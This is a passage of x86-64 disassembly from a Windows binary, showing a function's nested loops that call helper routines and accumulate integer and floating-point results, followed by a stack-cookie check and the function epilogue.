mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x40b0]
mov qword [rbp + 0x208], rax
movaps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x270], xmm0
lea r8, [rbp + 0x270]
mov rdx, qword [rbp + 0x548]
mov rcx, qword [rbp + 0x540]
call fcn.14001dbb0
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x540]
call fcn.140001830
mov rdx, qword [rbp + 0x548]
mov rcx, qword [rbp + 0x540]
call fcn.14001dc10
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
mov ebx, eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
mov r8d, ebx
mov edx, eax
call fcn.140001930
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
test al, 1
jne 0x14001585f
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001586e
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
mov ebx, r12d
nop word [rax + rax]
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x40b0]
lea rcx, [rbp + 0x480]
call fcn.14001db20
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x40b0]
test bl, 1
jne 0x1400158e5
lea rcx, [rbp + 0x3f0]
call fcn.14001d910
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140015906
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x480]
call fcn.14001db20
addsd xmm0, xmm10
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140015880
sub rdi, 1
jne 0x140015873
lea rcx, [rbp + 0x540]
call fcn.14001d670
nop
lea rcx, [rbp + 0x5c0]
call fcn.14001d750
sub rsi, 1
jne 0x140015640
lea rcx, [rbp + 0xb0]
call fcn.140001580
mov rcx, rax
lea rdx, [rbp + 0x10]
call fcn.140001900
test al, al
js 0x140015630
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x440]
call fcn.14001d530
nop
mov rcx, qword [rbp + 0x510]
xor rcx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x518]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x5440]
xor rcx, rsp
call fcn.14001f490
lea r11, [rsp + 0x55f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400275f0
nop
call fcn.1400275f0
nop
call fcn.1400275f0
nop
call fcn.1400275f0
nop
call fcn.1400275f0
nop
call fcn.1400275f0
nop
call fcn.1400275f0
nop
call fcn.1400275f0
int3